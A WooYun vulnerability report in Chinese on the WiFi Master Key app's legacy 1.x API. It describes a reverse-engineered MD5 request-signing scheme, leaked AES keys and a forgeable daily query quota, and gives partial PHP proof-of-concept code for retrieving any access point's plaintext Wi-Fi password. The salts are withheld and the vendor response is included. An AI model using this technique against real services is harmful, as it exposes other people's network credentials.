漏洞概要
漏洞详情
披露状态:
简要描述:
http://zone.wooyun.org/content/18815,我是看到这篇帖子后萌生的想法。。。现在不用装 APP,也能查询你家的 WIFI 明文密码了。
详细说明:
凡是 APP 就涉及到通信接口,看了下万能钥匙的 APP,走的明文 HTTP 协议这就简单了。
分析 Android 程序有个杀手锏,就是程序在更新迭代的时候新版本做了 API 改动,但为了兼容考虑,老版本存在问题的 API 不会下线,一直存在线上...
从 GooglePlay 下载了 1.X 版本的 WIFI 万能钥匙,确实还能用,通过程序包分析算法(说一下在,各种 key,salt 明文存储,连混淆哪怕是字符拼接都没有!)
这个是查询密码用到的数据包,以及参数中 sign(签名)的算法,其实就是这些数据进行排序后用 salt 算个 md5。新版本的万能钥匙还有个 retSn,实现链式认证,也能突破,但这个报告只说 1.x 版本的 API 问题(1.x 时代很多细节明显没有考虑完善,基本只靠 sign 做安全)。
用 JAVA 实现查询密码请求的签名
为了验证真实性,我给附近的一台 OpenWrt SSID 前加了个“1OpenWrt”,在计算签名查询,bingo!
第一部分完成了,但发现返回的密码竟然好长一串似乎还真没泄漏用户明文密码哎,但没明文客户端怎么连接呢。。。通过 apk 分析发现是用了 AES 加密,当然 key 和 iv 也泄漏了。
继续用 JAVA 程序实现
嘿嘿,原来你家密码是这个(跟这个朋友的分析一致 http://drops.wooyun.org/papers/4976)
另外测试的过程中突然提示
经过分析原来是 dhid 每日有查询限额,继续分析 dhid 算法,是通过服务器返回的,具体伪造不在说了,基本还是分析包,打包 sign,发包了。
漏洞证明:
这样,就实现了通过 SSID,和 BSSID 查询任意 AP 明文密码了,本地写了个自用的玩玩。为了证明真实并且避免被恶意利用,我只放出部分 POC 代码,厂商一看就懂。
function sign ( $array , $do ){ // 签名算法 $request_str = ''; $salt = ''; $sign = ''; // 对应 apk 中的 Arrays.sort 数组排序,测试 PHP 需用 ksort ksort ( $array ); foreach ($array as $key => $value) { $request_str .= $value; } if ( $do == 'querypwd') { $sign = md5( $request_str . SALT ); } elseif ( $do == 'querydhid' ) { $sign = md5( $request_str . SALT2 ); } else { NULL; } return $sign; }
查询密码的
function get_pwd (){ $ssid = addslashes ( $_POST['ssid'] ); $mac = addslashes ( $_POST['mac'] ); $data = ''; $array = array ( "och" => "guanwang", "ii"=> "123456789012345", "appid"=> "0006", "pid"=> "qryapwd:commonswitch", "mac"=>"xx:xx:xx:xx:xx:xx", "lang"=>"cn", "bssid"=>"$mac,", "v"=>"58", "ssid"=>"$ssid,", "method"=>"getSecurityCheckSwitch", "uhid"=> "a0000000000000000000000000000001", "st"=> "m", "chanid"=> "googleplay", "dhid" => get_dhid () ); $sign = sign ( $array , 'querypwd' ); foreach ($array as $key => $value) { if ( $key == 'bssid') { $data .= "sign=" . strtoupper ($sign) . "&"; } $data .= "$key=" . urlencode ( $value ) . "&"; }
整个过程感觉自己又学到不少啊。。。
PS:旧版本是默认分享用户 WIFI 的,1.0.8 这个版本,厂商还记得吧?确实是用户同意的前提,不知情的同意?
解决方案引用官方的话:问问你身边的 Android 程序员。
漏洞回应
厂商回应:
危害等级:低
漏洞 Rank:5
确认时间:2015-03-06 12:56
厂商回复:
感谢您的关注,已将问题转交至相关团队。
最新状态:
暂无
对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值